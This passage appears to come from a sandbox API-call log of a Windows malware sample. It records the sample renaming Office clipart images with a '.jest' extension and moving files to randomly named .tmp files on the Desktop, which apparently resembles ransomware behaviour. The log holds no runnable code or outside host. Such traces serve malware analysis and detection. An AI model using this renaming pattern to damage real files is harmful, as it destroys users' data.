Office\\CLIPART\\PUB60COR\\J0099168.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.jest")) returned 1 [0169.351] VarBstrFromR4 (in: fltIn=0x47945975, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.91") returned 0x0 [0169.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IZ G34v5Dwdfib6nGH6yNfs20nLpKjGYe9Uod-XH6JdV-2XFFL-vKLnBM3qc5SJssZsqnnb2pFKKr8OPA 8Y5-EU3edUS25HMQW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iz g34v5dwdfib6ngh6ynfs20nlpkjgye9uod-xh6jdv-2xffl-vklnbm3qc5sjsszsqnnb2pfkkr8opa 8y5-eu3edus25hmqw.tmp")) returned 0 [0169.352] GetLastError () returned 0x2 [0169.353] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.jest")) returned 1 [0169.356] VarBstrFromR4 (in: fltIn=0x47945975, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.91") returned 0x0 [0169.356] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oKKdD1OrWsd5izKHqmV0rfVmUpAFMGJmF_lWrl0yYflxtIp9jvkxvYmR2kq9Sxq9uoru6LMHwHtgJpp3Xdpgx_0VSyJvU4oVt3NIE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\okkdd1orwsd5izkhqmv0rfvmupafmgjmf_lwrl0yyflxtip9jvkxvymr2kq9sxq9uoru6lmhwhtgjpp3xdpgx_0vsyjvu4ovt3nie.tmp")) returned 0 [0169.357] GetLastError () returned 0x2 [0169.357] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.358] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.jest")) returned 1 [0169.361] VarBstrFromR4 (in: fltIn=0x47945975, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.91") returned 0x0 [0169.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q2 vBmPswlcCqVIwnTRPB-LDaNRoXlePV4R Q4Lwd7lnBldkiyJaFNrN_5s0Lm4Tn1ZYXjQyrARKA5fhi Zr fJNUsk6-WFS-49ye.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q2 vbmpswlccqviwntrpb-ldanroxlepv4r q4lwd7lnbldkiyjafnrn_5s0lm4tn1zyxjqyrarka5fhi zr fjnusk6-wfs-49ye.tmp")) returned 0 [0169.362] GetLastError () returned 0x2 [0169.363] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.jest")) returned 1 [0169.365] VarBstrFromR4 (in: fltIn=0x47945977, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.93") returned 0x0 [0169.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k6PwrIlFfdSpqlBcDTyihArH2sjWlC4qwC4sj-yoSs8b0PNgzr0hANf7isikV0VIvlDm6cPc V8qK6kh5vOcLgnzUWCbOhFewQ9Q8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k6pwrilffdspqlbcdtyiharh2sjwlc4qwc4sj-yoss8b0pngzr0hanf7isikv0vivldm6cpc v8qk6kh5voclgnzuwcbohfewq9q8.tmp")) returned 0 [0169.366] GetLastError () returned 0x2 [0169.366] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.jest")) returned 1 [0169.370] VarBstrFromR4 (in: fltIn=0x47945977, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.93") returned 0x0 [0169.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8vaTRbzIw6HMjeOClLDd9tfzR0BpeOPcbcNL2YYqE00Lx_ezSLseH-4q 1PMxSbIQusbZ wpmIxLYLpjwNWpXhOiNPn5T3KUeUT0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k8vatrbziw6hmjeoclldd9tfzr0bpeopcbcnl2yyqe00lx_ezslseh-4q 1pmxsbiqusbz wpmixlylpjwnwpxhoinpn5t3kueut0.tmp")) returned 0 [0169.371] GetLastError () returned 0x2 [0169.378] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.jest")) returned 1 [0169.381] VarBstrFromR4 (in: fltIn=0x47945979, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.95") returned 0x0 [0169.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6LvTAON Kim2yTjjDkxzVp-PVC3Tu6vIZbPLbxg2S7pX9IrrdVOY4R7Mer7jmDCl8HkQhmCCgWXr0dXjd7hoa3xBSgQPMb0nseGU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6lvtaon kim2ytjjdkxzvp-pvc3tu6vizbplbxg2s7px9irrdvoy4r7mer7jmdcl8hkqhmccgwxr0dxjd7hoa3xbsgqpmb0nsegu.tmp")) returned 0 [0169.382] GetLastError () returned 0x2 [0169.382] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.383] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.jest")) returned 1 [0169.385] VarBstrFromR4 (in: fltIn=0x47945979, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.95") returned 0x0 [0169.386] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gKRrgMCm_HDz8YiH5VPehE_wGLUqVvyj_ IYAubZ YpeNVCFas4uBNT9u_TK_eWjbFWHKKwZoQ-RGQcV2g8c8enSCRNHnqou0pSUH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gkrrgmcm_hdz8yih5vpehe_wgluqvvyj_ iyaubz ypenvcfas4ubnt9u_tk_ewjbfwhkkwzoq-rgqcv2g8c8enscrnhnqou0psuh.tmp")) returned 0 [0169.386] GetLastError () returned 0x2 [0169.386] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.jest")) returned 1 [0169.389] VarBstrFromR4 (in: fltIn=0x47945979, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.95") returned 0x0 [0169.389] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4 Dpu qq_2qoLHnPRy7Dbs2J7BIA5zOCR3BDZtxvsAVUpJ7tvL-MkFGkYmo7yDgJHM3kOa0H 9ZRtu_bxytijlZU8v35nVUxePbK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4 dpu qq_2qolhnpry7dbs2j7bia5zocr3bdztxvsavupj7tvl-mkfgkymo7ydgjhm3koa0h 9zrtu_bxytijlzu8v35nvuxepbk.tmp")) returned 0 [0169.390] GetLastError () returned 0x2 [0169.390] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.jest")) returned 1 [0169.392] VarBstrFromR4 (in: fltIn=0x47945979, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.95") returned 0x0 [0169.393] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2kT5XRr1w 9SgVC5-FmGgk6Te8C6F2bQ30rIj8xAlm5fqGJo73lVEy7OHl0iGwwD_K0CG7v2R-KnOljdAt--plo-nJlCe9Rm3Zlw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2kt5xrr1w 9sgvc5-fmggk6te8c6f2bq30rij8xalm5fqgjo73lvey7ohl0igwwd_k0cg7v2r-knoljdat--plo-njlce9rm3zlw.tmp")) returned 0 [0169.394] GetLastError () returned 0x2 [0169.394] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.jest")) returned 1 [0169.397] VarBstrFromR4 (in: fltIn=0x4794597b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.96") returned 0x0 [0169.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y2oEKh0bS8Qf5-mRWD0JL7MPG_q28pf6XQSD73z-OJWcx-EAxdekO62WThlCOWYo8064mjWfM4SA9akClXU_G42Sr9Jb K6-nr2b.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y2oekh0bs8qf5-mrwd0jl7mpg_q28pf6xqsd73z-ojwcx-eaxdeko62wthlcowyo8064mjwfm4sa9akclxu_g42sr9jb k6-nr2b.tmp")) returned 0 [0169.398] GetLastError () returned 0x2 [0169.398] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.399] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.jest")) returned 1 [0169.400] VarBstrFromR4 (in: fltIn=0x4794597b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.96") returned 0x0 [0169.401] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-iG4iI9Icrq9kLS UMGyRq9rTY2W3FkGwpG6wNF9CziUzEkLy2IdBBLBkSRgURBrPivgKsvi2TV5Rl 1OeYGfFxgeS7rIUlGt_UIZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-ig4ii9icrq9kls umgyrq9rty2w3fkgwpg6wnf9cziuzekly2idbblbksrgurbrpivgksvi2tv5rl 1oeygffxges7riulgt_uiz.tmp")) returned 0 [0169.401] GetLastError () returned 0x2 [0169.401] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.jest")) returned 1 [0169.404] VarBstrFromR4 (in: fltIn=0x4794597b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.96") returned 0x0 [0169.405] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yXJKxLhDfg4S1Ge2_Uvj2uBUVnjJ3_TGfEdz F7Xv2x Zn8M4F 6lX4op2fdyKVBONGGvib65Bp4Ykid3CT1zm-t7FVjxKSLM-FuB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yxjkxlhdfg4s1ge2_uvj2ubuvnjj3_tgfedz f7xv2x zn8m4f 6lx4op2fdykvbonggvib65bp4ykid3ct1zm-t7fvjxkslm-fub.tmp")) returned 0 [0169.405] GetLastError () returned 0x2 [0169.405] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.jest")) returned 1 [0169.408] VarBstrFromR4 (in: fltIn=0x4794597b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.96") returned 0x0 [0169.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9fBlUoY3UIKXwORdt1hqsYWyMn9_2FV2XdxKsgHPewyySFUCVLEYLQQzqAQFOJydGKTXECwPwzvq9Yf4dJoLIvFugRxckYJbV-S7b.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9fbluoy3uikxwordt1hqsywymn9_2fv2xdxksghpewyysfucvleylqqzqaqfojydgktxecwpwzvq9yf4djolivfugrxckyjbv-s7b.tmp")) returned 0 [0169.409] GetLastError () returned 0x2 [0169.409] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.jest")) returned 1 [0169.412] VarBstrFromR4 (in: fltIn=0x4794597d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.98") returned 0x0 [0169.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2QrAwbL3luh-_nElP6lSOi_iXrNEM-R mFjysbfo3TTDeycH22cXJHFKvXX1xJrsofOLFOSu-0sMRoY-0Ngb1pEYKfAl883VRevOu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qrawbl3luh-_nelp6lsoi_ixrnem-r mfjysbfo3ttdeych22cxjhfkvxx1xjrsofolfosu-0smroy-0ngb1peykfal883vrevou.tmp")) returned 0 [0169.412] GetLastError () returned 0x2 [0169.417] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.jest")) returned 1 [0169.419] VarBstrFromR4 (in: fltIn=0x4794597d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.98") returned 0x0 [0169.420] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKwW7hZV0dywlKyoSvGOMuBlyUjk4VOlCGj_VOX6eqNgxgP36gWgtZn LeBJsVXNiyjYLipcUmcZjCfKOnRfi6AJ0zEKRYF4mGlhz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkww7hzv0dywlkyosvgomublyujk4volcgj_vox6eqngxgp36gwgtzn lebjsvxniyjylipcumczjcfkonrfi6aj0zekryf4mglhz.tmp")) returned 0 [0169.420] GetLastError () returned 0x2 [0169.420] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.421] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 